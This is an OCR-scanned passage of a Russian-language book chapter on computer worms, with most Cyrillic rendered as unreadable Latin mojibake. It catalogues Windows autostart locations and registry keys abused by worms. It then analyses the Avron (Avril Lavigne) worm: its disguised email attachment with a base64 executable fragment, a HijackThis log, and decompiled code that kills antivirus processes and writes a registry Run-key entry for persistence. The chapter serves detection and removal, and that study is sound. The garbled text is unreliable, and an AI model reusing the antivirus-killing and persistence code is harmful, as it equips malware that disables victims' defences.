Ha.’ibHoro ypoBHH h ApaiiBepaMH 6 o;iee BbicoKoypoBHeBbix ripoTOKO.TOB. 
OHa onpeae;iaeT oripe/iejiemibiH cJjopMaT NDIS-naKeTOB, npaBn;ia co3- 
gaHHa h bkjhotohhh npoMeacyroMHbix ztpaiiBepoB h t. n. Bjraroaapa pac- 
nojioaceHHio b «r jiy 6 MHe» onepamioHiioii CHCTeMbi 6 paHflMayap HMeeT 
B03M0>KH0CTb nepexBaTbiBaTb n aHajiH3HpoBaTb ceTeBoii TpacJjHK npax- 
THHecKH cpa3y nocjie npoxoacaeHHH ero nepe3 ceTeBOH a/jaiiTep -  ropaszio 
paHbiue BHpycoB, HepBefl, tpohhckhx nporpaMM h ceTeBbix npHJioaceHiiii 
Windows.

TeM He MeHee caMbiii npocTon BapHaHT 6 paH,iMay3 pa MoaceT pa6 oTaTb 

Ha ypoBHe cokctob, ncnoJibavH noHBHBiunecfl b  Windows 2000 4 >vhkijhh 

(J)HJibTpanHH ceTeBbix naKeTOB:
O  «PfCreateInterface» -  co3/iaeT JioriinecKHH HHrepcj^eik;
O  «P fA d d F ilte r s T o In te r fa c e » -  HanojiHHCT JiornnecKHH HHTepcjjeiic 

npaBHJiaMH (J)H.>ibTpauHH naKeTOB;

O  «PfBindInterfaceToIPAddress» -  cBH3biBaeT Torn'iecKHi-i iiHTep- 
cfjeiic c KOHKpeTHbiM cereBbiM HHTepcJjeiicoM.
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6.6. KaK wepBM 3apa>KaioT KOMnbicrrep
...yeudeji na ezo mom,eu nod6pumou uiee, ecomou 
HMOHKe nod samuimoM, Kopomtcuu po3oeamuu 
no6et, moHeHwcuu, ocmpbiu, yxe 3amwaKjmuucn 
cnupajwm, dpoycmu,uu, KaK om Maduocmu.

A. h B. CTpyraiiKne. «yjiHTKa Ha ckjioho

Yace 6bi.7i oTMeMeno, hto xapaicrepHOH oco6eHHocTbio BHpycoB-Hepneii, 
OTJlHHaiOmHX HX OT BHpyCOB-napa3HTOB, HBJIHeTCH <<3BT0H0MH0CTb». 
HepBH 3apaacaioT He orziejibHbie nporpaMMbi, a BCTpaHBaioTCH b chctcm- 
Hyio cpeay KOMnbiOTepa.

EcTb HepBIt, KOTOpbie CyiUeCTBVIOT TOJIbKO B onepaTHBHoii naMHTH 

KOMnbiOTepa, Boo6me He ocfxipMJiHH ce6n b m a,e (Jjaftjia. Hanpimep, Net- 
Worm.Win32.Slammer ripHxo/uui Ha KOMnbioTep b Bitae UDP-naKCTa, 
no.xHocxbto pa3Mema;icH bo BHyTpeHHeM 6y4>c;pe cepBepHoro npouecca, 
6jiaroflapH vhsbhmocth MS02-039 cpa3v riojiyHa/i ynpaBJieHiie h HaMHtiaji 
pa6 oTy, ribiTaac.b paaoc.’iaTb ce6n no  apyriiM KOMirbroTepaM cera. II oc/ie ne- 
pe3arpy3KH onepamioHHon cncTeMbi oh, paayMeeroi, norn6a.ii a ocraBjihji 
o ce6e cjieflbi m>ibKo b BH£e 3armceft b ceTeBbix Jiorax (ecjm  ohh Be.TOcb).

H o  noAaBJinrom.ee 6oJibUiHHCTBo »o h to b m x  h ceTeBbix HepBeft, nojiy- 
h h b  tcm h jih  HHbiM 06pa30M b nepBhift pa3 ynpaBjieim e, oTapaioTCH 3aKpe- 

nHTbCH Ha KOMnbiOTepe, o 6 ecneHHB ce6 e «/iojiryio h cnacTJiHByio acH3Hb». 
B  pa3flejie, nocBHiueHHOM KoiicjJHrypupoBaHHio W indows, yace paccM a- 

TpHBajiHcb HeKOTOpbie cnoco 6 w, KOTOpbie n03B0Jiai0T BHpycaM o 6 ecne- 
MHBaTb cb o h  HecaHKUHOHiipoBaHHbift aBTOMaTHHecKHH aanycK nocjie  

nepe3arpy3KH onepaiiHOHHOH cncTeMbi.
rioHTOBbie h ceTeBbie ‘tepBH, opHeHTHpoBaHHbie Ha pa6ory  b W indow s  

9X , Mame Bcero 3anHCbiBaioT ceon b kjiioh «ru n »  KOH^HrypaijHOHHO- 
ro (Jrafijia « W I N . I N I » .  Hanpim ep, TaK nocTynaioT E-Worm.Win32. 
Cholera, E-Worm.Win32.Petik, Net-Worm.Win32.0pasoft h MHorne 

Apyrae. B tophm  no pacnpocTpaHeHHocTH cnoco6oM HBJiaeTca Hcn0Jib30- 
Baraie KJiiona «she ll» KOH^iHrypaniioHHoro (franjia «S Y S T E M .IN I» .  IIpH 

noMomn 3Toro KJirona onpeae.raioTCH KOMaHAiian ooojioHKa W indows, 
HHTepaKTHBHO B3aHM0aeHCTByJ0maH c n0JIb30BaTeJieM ( 06bIHH0 STO 

«E X P L O R E R .E X E » ),  h napaMeTpw ee 3anycKa. B ot KaK dthm o6ctoh- 
rejibcTBOM nojib3oBajicH nepBb Net-Worm. Win32.Nimda:
[boot]
oemfonts.fon=vgaoeia.fon
snell=Explorer.exe lose.exe -acrvUvmoid ; <- load.exe - fcawi Biipyca !!!
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BcTpeH aioTC fl h  nepBH. KOTopbie iicn o jib 3 y ioT  K pa iin e  npiiMHTHB- 

HbiH c n o c o 6  aBT03anycKa -  K orm py ioT  c e6 a  b K aT a jio ra  «C :\ W in d o w s \  

TjiaBH oe M eH K>\riporpaM M H \ABT03arpy3Kas h  «C :\ W in d o w s \ A l l  users\  

LiaBH oe MeHK)\nporpaM Mbi\ABT03arpy3Ka». C p a 6 oTaeT 3 t o t  npneM  h  

b W in d o w s N T ,  to jim co  TaM K aT a jio ra  aBT03anycKa pacnojioaceH bi He b h \ t -  

pH «C :\ W in d o w s » ,  a BHyTpH «C :\ D o c u m e n ts  and s e t t in g s * .  KoriHpoBa- 

j ih  c e6 a  b s th  K aTa jio ra , HanpHMep, E-Worm.Win32.Sobig h  E-Worm. 
Win32.Sweo. Bnpo^eM , BHpycHbifi (pa&Ji, pacno/ioaceHHUH b K aT a jio rax  

aBT03anycKa, n0Jib30BaTe.iib jie rao  MoaceT yB H fle tb  HeBOopyaceHHHM rjia- 

30M h  yaa jiH Tb  spyM H yio. TjiaBHbiH ace H e^ocTaxoK  n o a o 6 H o ro  n o a x o a a  

3am iioH aeTca b  pa3JiHHHH HMeH K aTajioroB  f l j ia  pa3HHX BepcHH W in d o w s .  

B MacTHOCTH, /ijih 3apaaceHHH aM epiiKaHCKoii h  naH-beBponeHCKoii pa3- 
HOBHflHocTeH W in d o w s  Heo6xo/iHMO K onnpoB aTb (Jmhji y ep B a  b «C :\  

W in d o w s \ A l l  u se rs\ S ta rt m e n u \ P ro g ra m s \ S ta r tu p ».  TaKHM o6pa30M, 

nepBb, nonaB  b Ji0KajiH30BaHHyK) onepaijH O H H yio cpeay, n p o cT o  T ep aeT  

B03M0*H0CTfe aBT03anycKa.

H a n G o jie e  n on y jiap H b iM  cp e n H  q ep B eif M e ro ^ o w  aBT03anycKa, n p a -  

ro;iHbiM  h  /iJia W in d o w s  9 X , h  a n a  W in d o w s  N T ,  HB/iaeTca 3anHCb 

ccbijiKH Ha c eo a  b kjiiom c P e e c rp a  « H  K L M \ S O  F T W A R E \ M  ic ro s o ft\  

W in d o w s \ C u rre n tV e rs io n \ R u n > . 3 t o t  n p iieM  xapaK repeH , n o  KpaHHeft 

M epe, ztJia 80% ceTeBbix h  noHTOBbix HepBeii. O h  yace 6m ji npozieMOH- 

crpH poB aH  Bbime, n p n  onucaH H ii n oB ejieH iia  nepBa Net-Worm. Win32. 
Bozori.b, h o  He rn ym a jiH cb  hm  h  Net-Worm.Wm32.Sasser, h  E-Worm. 
Win32.Tanatos, h  E-Worm.Win32.Netsky, h  E-Worm.Win32.Sobig, h 

E-Worm. Win32.Bagle, h  M H orae  a p y n ie ,  KaK «3naMeHHTbie>>, TaK h  Me

Hee pacnpocTpaH eH Hue vepBH.

TaK*e Hepejuco BcrpeiaeTca MoancJaiKauHa Kjuona «HKCR\exefile\ 
shell\open\command». IIo  yM0/i>iaHH!0 3Ha<ieHHe aToro KJircwa -  ««% 1 » 
% *», a bot npHMep H3MeHeHHH, BHeceHHbix b PeecTp nepBeM E-Worm. 
W in32.Stator ( cm. phc. 6.21):

r ^ flaK Top  peecTpa ■  - J n l  *1

Peecrp rjja w « ttrfjpaHHoe Qipaera 11

- - {&  DefaUtlcon U l Whs 1 Tun 1 .......
ENil shel ■

9 - ®  open S  
| command n  
a f i i  runes ”

S |(n o  yMoiwaHwo) j REG_SZ cAloadpe.com" ■ % !"% *

3 in mtmtrT ^  - .i n i
||Mo« KOfrrtofOTep\HKEV_CLASSES_ROOT\exefile^5he#\open\<:omfTv3r>d A

Pmc. 6.21 ❖  H3MeHeHnn b PeecTpe, npon3BeAeHHbie sepBeM  Stator
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C p eflH  a p y rH x  MepBefl, H cno;ib3yiom H X  s t o t  npneM , M oacno yn oM fl- 

HjTb E-Worm.Win32.Navidad, E-Wonn.Win32.Swen, E-Worm.Win32. 
Prettypark h  t . n.

B H p ycb i, OpHeHTKpOBaHHbie Ha CymeCTBOBaHHe HCKJIJOHHTeJIbHO 

b c p e a e  W in d o w s  N T ,  nepe/iKo npon n cb iB a ioT  c e6 a  b  K jnon ax  « H K L M \  

S o ftw a r e \ M ic r o s o ft \ W in d o w s  N T \ C u r r e n tV e r s io n \ W in lo g o n \ u s e r in it »  

h/ih «  F I K L M \ S o ftw a r e \ M ic r o s o f t \ W in d o w s  N T \ C u r re n tV e rs io n \

W in lo g o n \ s h e l l » .  Ta icoe  noBe^eH H e xapaK TepH o a jih  a o b o jib h o  «c o B p e -  

MenHbix* ceTeBbix nepBeft Net-Worm.Win32.Stavron, E-Worm.Win32. 
Warezov, E-Worm.Win32.ZheIatin h  n p on n x . HeKOTOpbie «npo/jBHHy- 

T b ie »  nepBH, TaKHe KaK Net-Worm.Win32.Aler.a, Net-Worm.Win32. 
Kido ( o h  ace Conficker), E-Worm.Win32.Bagz h npoHHe, o4>opm jih iot 

c e6 a  b BHfle CHCTeMHUX c j i y x o  (cepBHCOB) h  /ipaiiBepoB, ju w  H ero  co3- 

Aa ioT  b P e e c r p e  k/iiohh «H K L M \ S y s te m \ C u r r e n tC o n t r o lS e t\ S e r v ic e s \  

H M H _ c ^ y »c 6 b i»  h  3anojiHsiK)T b  h h x  Bee neooxo/iH M H e 3HaHeHHH.

C y m ec T B y io T  h  j p y r a e  «o n a c H b ie »  kjuo m h  P eecT p a , iicn o jib ayeM b ie  

BpeflOHOCHbiMH nporpaM M aM H flj ia  o6ecn eH em ra  cB oero  aBT0MaTKMecK0- 

r o  3an ycK a  n o c jie  n epe3arpy3K ii. B o t  h x  KpaTKHH n ep eqen b , H3BJie>ieH- 

HbiH H3 T e x H iw e c K o ii CTaTbH, onncH B a io iu eH  rioBe^eHHe o j h o h  H3 paH- 

h h x  BepcHH 6paH flM ayapa A g n itu m  O u tp o s t  F ire w a ll.  BpaH/jM ayap npH  

cBoeM  3 an ycK e  npoBepsu i:

"HKLH\S0FTN»8E\Microsoft\WindQws\CurrenTVersion\Explorer\ Browser Helper Objects"; 
"HKCU..." n ”HKlM\SOFTXARE\Microsoft\Intemet Explorer\Explorer Bars"; 
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ (teaoteComouterXNaffieSoace''; 
"rtKCU...“ k "HKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions"; 
"HKLK\SOFTWABE\Classes\shellex\ContextHenuHaridlers"; 
"HKLM\SOFTWA3E\Microsoft\Windows\CyrreritVersion\ShellExtensLons\Approved"; 
"HKLH\Software\MicrosofT\Internet Explorer\Toolbar";
"HKCU..." w “HKLM\Software\Microsoft\Internet Explorer\Toolbar\ ShellBrowser". 
"HKLM\Software\Microsoft\Internet Explorer\Toolbar\Web8rawser"; 
"HKLM\SOFTWARE\Microsoft\Windows\Cu'reritVersion\Explorer\ SharedTaskSchedule r"; 
"HKCU\SOFTWAaE\Microsoft\Windows\CurrentVersion\Explorer\ SharedTaskScbeduler"; 
“HKLH\SOFTWARE\Nlcrosoft\Windows\CurrentVersion\Explorer\ ShellExecuteHooks";
"HKCU, m "HKLM\SOFTWARE\Microscft\Internet ExplorerN URlSearchHooks"; 
"HKL(*\SOFTWARE\Microsoft\Windows\CurrentVersion\ ShellServiceObjectQelayLoad"; 
"HKLK\SOFTWARE\Microsoft\WindOws\CurrentVersion\Run";

"HKL*!\SOFTWARE\Hicrosof t\Winoows\Cu rrentVersion\RunOnce" ;
"HKLN\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx"; 

"HKUH\SOFTVWRE\Microsoft\Windows\CurrentVersion\RunSe rvices"; 
"HKLM\SOFTWARE\Micros.oft\Windows HT\CurrentVersion\Winlogon\ GPtxtensions. BC9 
DlIName;
"HKLM\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\ Winlogcn\ N o tify  ". see 
DlIName;
"HKCU. ." n "HKLMXSoftware\Microsoft\Internet Explo'er\MenuE«t’\
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"HKCR\txtflle..” , m "exefile", * "comfile”, m “piffile", m "batfile", m 
"csdfile", « "sorfile", m "regfile. . \shell\open.. " ma m "runas... \commancT, 
"HKLM\SYSTEM\CurrentControlSet\Control\SessionManager\Sut)Systeiiis\Winaows'".

6.7. npMMep o6Hapy>KeHi/ia uccAeAOBaHMfl 
m yAaAeHM5i Hepsn

/Jo uezo xe mcycHoio nepesiKa 3a6pocum koxosl- 
mo ceojioub ua ydowe e amy 3aaodt>!

A. m B. CTpvranKiie. •sXmiaiue Bemn BeKa»

PaccMOTpHM ocHOBHbie npweMbi oSHapyjKeHHH h  yaa/ienHa cereBOH «3 a -  

pa3 b i»  Ha npHMepe nepBa E-Worm.Win32.Avron.a (H 3BecTHoro TaioKe 

n o a  «riceB£OHHMaMH» Avril h  Lirva). B Hanajie 2003 r. 3Ta caMopasMHo- 

jKaioinaHcflf nporpaM M a, HanncaHHaa Hen3BecTHUM Ka3axcKHM BHpyconn- 

carejieM , c y u e n a  0praHH30Barb B n o im e  aa.MCTHyjo b  m hpobm x MacuiTa6ax  

anHfleMHK) h  TeM caMbi.M c n p o c x a m iT b *  cTpaHy kocm oapom ob, Hflepubix 

nOJIIirOHOB, BMCOKOropHHX KaTKOB H AByrop6bIX Bep6.XK)/lOB.

6 .7 .1 . nposiBjieHMti MepBH

OcHOBHue cBoiicTBa E-Worm.Win32.Avron.a jiereo BbMCHHioTCfl b pe- 
3yjibTaTe HecJioacHux aKcnepHMemroB.

HepBb npnxoiuiT no sjiefcrpoHHoii noTre BHyTpii npnMepHo bot TaKoro 
im cbMa:

Subject: Fw: Avril lavigne -  the Pest
From: Avril Lavigne <avril»avril.co»> <- noaaenbHU* o6paTHUft aapec
Reply-To: ACTR/Accels <general»actr.org> <- noAAe/ibHUft o6paTHUM aapec
To: ciastia-vesnushklna r̂ainbler. ru

Content-Type: multipart/mixed; boundary-'--ABCDEF"
This is a multipart MIME-codec message 
 ABCDEF

Content-Type: text/fttrnl; cfiarset-"us-ascii”
Content-Transfer-Encoding: cuoted-p notable 
<hTiaixnead></he2C><body>
<h2>Restrictea area response tea* (RART)</h2>
<br><hr>Attacnment you sent to Vasya is really good 
<br>Well done!<hr>
<br>SMTP session error #450: service rot ready 
</body></htrrl>
- —  ABCOEf

Content-Type: audio/x-wav

:-> <- noannHHsri norwH

<- flKO&t "3ByKOBOiS 0a&l"
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Content-Disposition: attachment; fiIena?iie="Readne.exe" <- PeanbHO - nporpaMMa 
Content-Transfer-Encoding: Dase64

TVqQAAMAAAAEAAAA//BAALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAr!NIbgBTM0hVGtipcyBwcm9ncraFtlGNt)i®5vdCBiZSBydW4gaW4gRE9TIG'!V

AAAAAAAAQUJmZA—
 ABODEF--

OnHTHbiH r;ia3 BHpycojiora cpa3y o6napyaciiBaeT b 3tom miCbMe 

CTpeMJieHHe ncii0/rb30BaTb y a 3BMMOCTb M S0 1 -0 20 . r ip a  nonHTKe n p oc 
To 03naK0MMTbc« c TeKcxoM nncbMa nporpaM M a «  README.EXE*, no - 
MemeHHaa BHyTpb B BHfle B.TOJKeHHH, 3anyCTHTC5I aBTOMaTHMeCKII (ec jin  

ansi p a6 oTbi c noHToft HcnoJib3yeTca Outlook «c ra p b ix »  B epcnn ).
CTapTOBaB, nepBb HeMe/i/ieuHO pacK-iaflbiBaeT cboh K om ui co cjiy - 

MaHHUMH HMeHaMH (EX E'C^ail.ibi ^/ihhoh 26 112 6 aHT0 B. ynaKOBaHHhie 

UPX): 
O  b cncTeMHbiH Karajtor (HanpHMep, «C:\Windows\SYSTEM» hjih 

«C:\W inNT\SYSTEM32*);
O  B KaTajior BpeMeHHbix (JjaMjioB (HanpHMep, «C:\Windows\ 

TE M P »);
O  b  K aTajiora yflaJieHHbix (JiaHJioB (HanpHMep, «D:\RECYCLED. 

B IN ») Ha Bcex Aiicnax KOMnbKDTepa, b tom  MHCJie Ha cbeMHbix h Ha 
noaKJiioHeHHbix ceTeBbix.

KpoM e Toro, Ha a h c k c  noHBJiaioTCH:
O  b KaTajiore OnepanHOHHOH chctcm h (HanpHMep, b  «C:\ Win

dows*) -  cfjaiiji «LISTRECP.DLL>> co cnHCKOM aapecoB, o6 Hapy- 
aceHHbix nepBeM;

O  b KaTajiore BpeMeHHbix 4>aii/ioB -  «NEW BOOT.SYS» c MepBeM, 
3aK0flHp0BaHHbiM npn noMouiH Base-64/Mime; 

O  h TaM ace -  4>aifJi co cJiynaitHhiM HMeHeM h tckctom «peKJia.\iHoro>> 
xapaKTepa:

Author ------ > 2002 (c) Otto von Gutenberg
Made in ----- > Alraaty .::]Kazakhstan[::.
Purpose ----- > Only Educational
Virus name AVR1L (please do not change it)

[ACKNOWLEDGEMENT]
Antoher VOX & Hacker Group fro* Central Asia
Tnanx to Rage, Razun and V-HiV; coderz.net, inaovirus.net, secuntylab. ru etc. 
Thank you for ideas approach to us!!!
Bye

KojiiiyecTBo BiipycHbix 4>afftioB b KaTajiorax yBejiHHHBaerca c naayioii 
nepe3arpy3Koft.
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1 PeaaKTOp peecipa I B B j E J I

fecerp D poo^ o Cnpaoita j]

& - Q  Netwoik •*[

$ - C l  Nk 
f j j -Q  Pofcie*

Run
j - P l  RunOnce t 
> - Q  RunOnceEx 
U - Q  RunServices <rj

naoaMBTD 1 3HWSHMe -

Q rtem alene
SlLoadPowaPiotfe

VVB9B9I
@ScanRegistiy
@Sj«temTfai)
£®l TaskMonfc*

"intefnat.exe"
’‘RundC2.exe powp>of.dlJ-oac£urentPWScheine'' 
"C:\WINDOWS VSYSTEM\eF695Dgc2M.EXE" 
"C:\WINDCMS\scaniegn.exe /autwun" 
"SysTiay-Ene1'
T:\W1ND0WS'Jaskmoa exe"

-M  L .  1 w l :< T 1 M

[Moft KOMnbKrepSHKEY_LOCAL_MACHINEVSoftwaie'Wic(osQftWlndQws'vOjreti(V«S(orSFIun ^ A

Pmc. 6 .22  ❖ Moflnc^nKaunn PeecTpa, 
BbinoJiHseMwe MepBeM Avron

Taicace b Windows 9X oh AoriHCHBaeT crpoHKy k c^aiuiy ̂ AUTOEXEC. 
BAT»:

node COP: codepage prepare-((866) C:\WIND0WS\CQMKAND\ega3.cpi)
mode con codepage select=866
keyD ru, , C:\WIND0wS\C01WAND\keyb ro3.sys
» » ln  C:\RECYCLE0\1344gg4h.exe <- sanyCK Windows 9X n 4epes

3jioBpeflHMii npouecc He bh/ich b naMHTH Windows 9X, ho JierKO 06- 
HapyacHBaeTca npn noMouiH MeHeaacepa 3aaaM TASKMGR b Windows 
NT. Bot h t o  «panopTyeT» no aravy noBoay 3aMeyaTejibHaa yTHJiHTa 
HiJackThis, KOTOpaa cmotpht cpa3y bo  Bee noTeuu.iia.nbHo on a c im e  

«yroJUCH»:

Logfile of Trend Micro HijackThis v2.0.2

Sunning processes:

C:\WIND0WS\SYSTEM\KERNEL32. DLL 
C:\WINOOWS\EXPLORER. EXE 
C:\WIND0WS\SYSTEM\4C6B0E0GG70.exe

C:\WINQ0WS\SYSTEM\WINGA386. MOD 
C:\PB0GRAM FILES\FAR\FAR.EXE 
C:\ANTI\HIJACKTHIS.EXE

04 - HKLK\..\Run: (internat.exe] internat.exe
04 - HKIK\.,\Run: [ScanRegjstry1 C:\ttTNDOWS\sca-regw.exe /autorun
04 -  , \Run: f TaskHonitor] C:\WIN00WS\taskroor: exe
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04 - HKLM\..\Ron: [SystemTray] SysTray.Exe
04 - HKLMN..\Run: [Mortimer] C:\WIND0WS\SYSTEW\cF695Doc2AA.EXE

End of file - 2071 bytes

MHTepecHO, mto b  naMaTH H axoAw rcs npouecc, cTapTOBaBumfl H3 

(JmiJia «4C6B0E0GG70.EXE», a b  PeecTpe yace npomicaH (JjaiLn: coBceM  

c flpyrHM HMeHeM -  oh  6 y/jeT 3anymeH nocjie cjie^yiom eH nepe3arpy3KH  

W in d o w s .

H ax o aac b  b  naMaTH, MepBb HecKOJibKO 3aMefl.ua eT pa6 oTy chctcm h, He- 

npepbiBHO «T p e m a » BHHMecTepoM (mto M0acH0  o 6 HapyacHTb B raya jibH o ) 
h  riocbuiaa «H apyacy» no  c e ra  3anpocbi Ha nopT 25 (mto MoacHo oTCJie- 

OTTb n p n  noMomH 6paHflM ay3pa).

H eK 0 T0p u e  nporpaM M u, n03B0JMK>uine «yBH fleTb» ii yaaJiHTb Mep- 

ba, -  aHTHBHpycbi, SpanziMayapbi, CHCTeMHbie yraJiHTbi, -  npn  aKTHBHOM 

MepBe n ep ecT a ioT  3anycKaTbca h jih  BHe3anHo «BbueTaroT».
H y  h  HaKOHeu, /tBa pa3a b M ecan -  7-ro h 24-ro MHCJia -  MepBb HaMHHa- 

eT 6 eccHCTeMHO nepeM euiaxb Kypcop Ha 3Kpane h  HenpepbiBHO 3anycKaTb 

In ternet Exp lorer, n u T aacb  3ajie3 Tb Ha W W W -C T paH H M K y h ttp ://w w w . 

av ril-lav ign e .com . -  H ajm no rJiy6 oKHe aporaMecKHe nepeacHBaHHa aBTo- 
pa MepBa no  noB o^y  npeJiecTefi KaHa/icKOH neBHUbi A bp h ji JIaBHH.

HenaTpHOTHMHO 3 a6 biBaTb npo  Po3y PbiM 6 aeBV h rpy n n y  A-Ciy/mo, 
rocnoaiiH  Ka3axcKHH BupyconHcaTejib!

6.7.2. AHanM3 anropHTMa pa6oTu
BoJiee KOHKpeTHbie CBe/ieHHa 0 6  ycTponcTBe ii noBaaicax MepBa M0acH0 

nOJiyMHTb. HCn.0JIb30BaB yTHJHlTbl-pacnaKOBmilKH, OTJiaflHHK, flH3acceM6- 
Jiep, aeKOMnHJIHTop H... 3ZlpaBBIH CMMCJI, rT03B0Jia501UHM JIOBOJIbHO npH- 

6jIH3HTeJIbHO, HO CO BnOJIHe AOCTaTOMHOH flJM aHaJIH3a flOCTOBepHOCTbK) 
BOCCTaHOBHTb HCXOJIHbie TeKCTbl eTO {fiparMCHTOB.

6.72.1. ycmaHoena e naMxmu
O&maa cTpyKTypa rojiOBHoro M oayjia  n03B0JiaeT npocJie^HTb 3a aeii- 

CTBHaMH MepBa np n  ycTaHOBKe b naMHTii.

if (0penHutexA(0, 1, "Avril Lavigne")) < // Ec/im taKC* MWOTekc y*e ecTb
me = GetCurrentProcess(); // no/iymtTb c b o R ID
Term:nateProcess(rfle, 0). if 3aBep®iiTb0fi

else Creat8MutexA(mi, 1, "Avril Lavigne"); 
IninalizeCuticalSection;Sc?;

// MHa'-ie -  cosflatb ra^cfi mwotpkc 
// CO'SllaTb OCbsKT

http://www
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if ( !WSAStartup(0x10l, &nw ) { // flonuTaibCfi KHnuna.nn3nposaTb ceTb

CreateThread(0, 0, Sub_SendK, 0, 0, &t1); // Hotok pa3MHO*eHm  no noMTe
CreateThreadfO, 0, Sub.FindAdr, 0, 0, 8t2), // (Iotok noncKa nomoBbix aflpecoB
CreateThreadCO, 0, Sub.SetReg, 0, 0, 4t3); // floTOK Mo«i*ttMkanjiM PeecTpa
CreateThread(0, 0, Sub_FightAV, 0, 0. &t4>; // floror, 6opb6w c sHTMBMpycdMM

while (  1 ); // 3aunia)MTbCR h "noencHyrb" b n a M s ™

}

AHa.riH3HpVH 3 to t  <{)parMeHT, mo>kho npHHTH k BbiBO/iv, h to  cymecTBy- 

eT B03M0>KH0CTb «BaKIIHHHpOBaTb» IiaMHTb KOMnbiOTepa -  3anyCTHTb 

6e3BpeflHWH npoqecc, co3flaiomnH MbioreKc c HMeHeM «A v r i l  L av ign e ». 

LIepBb Ha TaKOM KOMiibioTepe npocTo OTKa>KeTca pa6oTaTb.
KpoM e Toro, nepBb BbinojiHHeT cboh  ach c tbh h  b  6ecKOHeMHOM uhkjic  

neTbipbMH napajuiejibHo pa6oTaiomHMH noTOKaMH. Jinn CHHxpoHH3aiiHH 

pa6on>i 3 th x  noTOKOB (HanpHMep, HToobi aBa noTOKa He nbiTajiHCb oaho - 
BpeMeHHO OTKpblTb O/IHH H TOT >KC 4>aHJl) OH nOJIb3yeTCH MeX3HH3MOM 

«KpiITHMeCKHX ceKHHII*.

6 . 7 2 2 .  B o p b 6 a  c  a n m u e u p y c a M U

MeTOflH , HcnoJib3yeMbie nepBeM a-to 6 opb 6 bi c aHTHBHpycaMH, OMenb 

noyHHTe.fibHbi. OaicniHecKH aHTHBHpycw caMH HcrroJibsyioT a e n r o  n o -  

flo6 Hoe ajih  o 6 H apy*eH HH  h  yHHHToaceHHH BpeAOHOCHHX npoueccoB.

[IpeacAe Bcero nepBb n p n  noM om n CHCTeMHoro BM30Ba « G etV ers ion - 
E x A »  onpeAe.'iHeT TeKymyio Bepcrno W in d o w s  h reHepnpyeT TeKCTOByio 

CTpoKy c HMeHeM onepaim oHHofi chctcm h, a 3 aTeM Hcnojib3yeT ee ajih  

Bbi6 opa  H cnojibsyeM oro MeroAa CKaHiipoBaHHH npoueccoB:

sub_GetVers(V. // OnpeAefieHne eeponn Windows
if ( strstr(Str, "Win9X") ) sub_Fight9X(); 
else sub_FightNT();

if ( strstr(Str, "Win9X") ) RegisterServiceProcessCO, i); // 'XnpfliaTbCfl'' e n s m j*

B  onepam ioHHbix CHCTeMax ceMeiicTBa W in d o w s  9 X  nepequc.ieHHe  

npoueccoB  h  yAajieroie Tex H3 hhx, k to  HMeeT « aHTHBHpycHoe* hmh, b m - 

nojiHHeTCH cjieAjTomHM o6pa30M:

B00L sut)_Fight9X() (
HANDLE h2, h4:

PR0CESSENTRY32 pe;

h2 = Cre3teToolhela32Snapstiot(2, 0); 
pe.dwSize = 296;
if ( Proress32First(h2, &pe) ) {
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do {
if (sub_BadNairie(pe.szExeFile))&& i i  Mmh ectb b  cnncKe?

(pe. th32ProcessID!=GetCurrentProcessId()) { // TOJibKO h s ce6fi
h4 = 0penProcess(0x1F0FFF, 0, pe. th32ProcessID); // flonymiTb ID aHTMBMpyca
TerminateProcess(h4, 0); // SaBepwutb anTMBnpyc
CloseHandle(n4);

f
}

1
while ( Process32Next(h2, &pe) );

}
return CloseHandle(h2);

)

AHaJioriiHHbiH (JjparMeHT, opHeHTHpoBaHHWii Ha W in d o w s  N T , nepe- 
TOCJwet  He caMH npoueccbi, a OKHa npoueccoB:

BOOL sub_FightNT() { 
r e t u r n  £ m * * t t n d o w s ( E m i « F u n c ( ) ,  0 ) ;  / /  n e p e M M C /W T b  o k h s

}

int EnufliFuncCHWND al, LPARAM a2) {
HWHD h;
DWORD id; 
char s[0xFF];

GetWindowTextA(ai, s, OxFF), 
if (sut>_BadName(s)) {
GetWindowThreadProcessId(ai, &id); 
if ( id '= GetCurrentProcessId() ) 

h = 0penProcess(0x1F0FFF, 0, id)
TerminateProcess(h, 0);
CloseHandle(h);

>
}
return 1;

}

OcTaeTca flo6aBHTb, m to 4-)ynKUna « s u b _ B a d N a m e »  rtbiTaeTCH HamrH 
hmh npouecca hjih  3aroJioBKa OKHa b orpoMHOM (oko jio  co th ii c tp o k )  

enHeKe, coaep>KaineM HMeHa aHniBiipycoB h cHCTeMHbix y th jih t, THiia 
<«AVP32.EXE», «OUTPOST.EXE», «TBSCAN.EXE». «F-PROT.EXE>, 
«REGEDIT.EXE» h t. n. TaKHM 06pa30M, aHTHBiipycHbiii npouecc. 3a- 
nymeHHbiii nocjie qepBii, c b h c o k o h  /Tojiph BepoaTHOcra 6yner « v 6 h t » .  

BnpOHe.M, an rilB H pyC H H e MOHHTOpbl 06bIHH0 OfJxipMJIHJOTCH B BH/je BIip- 
Tya.nbHWX /ipamsepoB, noncKa 3anymeHHbix n pou eccoB  o6pam aK )Tca 

He k cepBHcaM 3 -ro  KOJibua 3amHTM, a Hanpaiwyio k cjivxccShmm ciiMCKaM 
onepanHOHHoii cucTeMU, noaroM y ohh Bceraa «cTpejwioT nepBbi.MH».

// 3ar0fl0B0< o m a  
// (IMS ecib e em-tcke?
,// ID noTOKa, coaaasuero o k h o  

{ i i TonbKo we cesfo
i j  f lO fly M H T b  ID a H T H B H p y c a  

i i Saeepamib aHTMBKpyc
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6.72.3. Modu<puKau,un Peecmpa
Jlnsi Toro h to6H no.nyHHTb ynpaBJieHne nocjie nepe3arpy3KH onepami- 

ohhoh cncTeMbi, HepBb MojH^HUHpyeT PeecTp, npiineM aejxaeT sto  b ot- 
/jejibHOM 3auHKjienHOM noTOKe:

v o i d  stdcall sub_SetReg(LPVOIO a1) { /,/ napaMSTp - nyTb m mmo ronrni Msp-89
char *Dest; HKEY hKey;
sorintf( Dest, "96s", a 1);
while (1 ) !
RegCreateKeyA(HKEY_LOCAL_MACHINE,

'Software\\Hicrosoft\\Windows\\Curre.ntVersion\\Rijn", ShKey);
RegSetValueExA(hKey, ''Mortimer'', 0, 1, &Dest, 0x400);

i
)

3 to  03HaHaeT, hto npii HaxoaameMCH b naMHTH nepBe, ckojibko hh 

